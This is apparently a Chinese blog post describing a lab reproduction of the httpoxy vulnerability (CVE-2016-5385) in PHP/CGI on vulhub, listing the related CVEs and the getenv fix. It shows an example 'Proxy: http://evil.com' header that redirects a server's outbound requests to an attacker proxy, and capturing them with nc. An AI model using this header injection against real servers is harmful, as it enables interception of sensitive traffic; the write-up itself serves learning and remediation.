zoukankan      html  css  js  c++  java
  • cgi漏洞复现

    简介

    漏洞环境不另作说明均为vulhub。

    参考链接:

    公共网关接口(Common Gateway Interface,CGI)是Web 服务器运行时外部程序的规范,按CGI 编写的程序可以扩展服务器功能。CGI 应用程序能与浏览器进行交互,还可通过数据API与数据库服务器等外部数据源进行通信,从数据库服务器中获取数据。格式化为HTML文档后,发送给浏览器,也可以将从浏览器获得的数据放到数据库中。

    httpoxy(CVE-2016-5385)

    参考链接:

    根据RFC 3875规定,CGI(fastcgi)要将用户传入的所有HTTP头都加上HTTP_前缀放入环境变量中,而恰好大多数类库约定俗成会提取环境变量中的HTTP_PROXY值作为HTTP代理地址。于是,恶意用户通过提交Proxy: http://evil.com这样的HTTP头,将使用缺陷类库的网站的代理设置为http://evil.com,进而窃取数据包中可能存在的敏感信息。(来自vulhub参考链接)

    PHP在5.6.24版本中修复了该漏洞,不会再将Proxy放入环境变量中,不止是PHP,理论上,所有以CGI或Fastcgi运行的程序都受到影响。

    CVE-2016-5385是PHP的CVE,HTTPoxy所有的CVE编号如下:

    • CVE-2016-5385: PHP
    • CVE-2016-5386: Go
    • CVE-2016-5387: Apache HTTP Server
    • CVE-2016-5388: Apache Tomcat
    • CVE-2016-6286: spiffy-cgi-handlers for CHICKEN
    • CVE-2016-6287: CHICKEN’s http-client
    • CVE-2016-1000104: mod_fcgi
    • CVE-2016-1000105: Nginx cgi script
    • CVE-2016-1000107: Erlang inets
    • CVE-2016-1000108: YAWS
    • CVE-2016-1000109: HHVM FastCGI
    • CVE-2016-1000110: Python CGIHandler
    • CVE-2016-1000111: Python Twisted
    • CVE-2016-1000212: lighttpd

    漏洞复现

    启动环境,该漏洞环境是基于PHP 5.6.23 + GuzzleHttp 6.2.0。

    访问http://your-ip/index.php,正常情况下,返回包中origin是当前请求的服务器IP地址,二者IP相等。

    在另一台主机中启动一个可以正常访问的http代理,如http://*.*.*.143:9999/,附带Proxy: http://*.*.*.143:9999/头,再次访问http://your-ip:8080/index.php,我的结果是这样的:

    b

    参考文章中的结果是这样的:

    不知道是啥问题,不过从参考链接中的图片看,Origin已经变成*.*.122.65,也就是说真正进行HTTP访问的服务器是*.*.122.65,就是说*.*.122.65已经将正常的HTTP请求代理了。

    在另一台主机上使用NC,就可以捕获当前请求的数据包,其中可能包含敏感数据。

    我试了一下,使用nc并不能获取POST数据,也不能获取cookie等内容,好像返回的信息都是固定的,┑( ̄Д  ̄)┍。

    漏洞修复

    参考链接:

    补充,从PHP5.5.38开始,getenv增加了第二个参数,local_only = false,如果这个参数为true,则只会从系统本地的环境变量表中获取,从而修复这个问题,并且默认的PHP将拦截HTTP_PROXY: fix

    本博客虽然很垃圾,但所有内容严禁转载
  • 相关阅读:
    ionic入门之AngularJS扩展基本布局
    ionic入门之AngularJS扩展(一)
    test
    面试题小整理
    使用Code first 进行更新数据库结构(数据迁移)
    SQL模糊查询与删除多条语句复习
    GridView 根据要求显示指定值
    个人工作记录---工作中遇到的sql查询语句解析
    数据库,inner join,left join right join 的区别
    利用set实现去重
  • 原文地址:https://www.cnblogs.com/ahtoh/p/15428089.html
Copyright © 2011-2022 走看看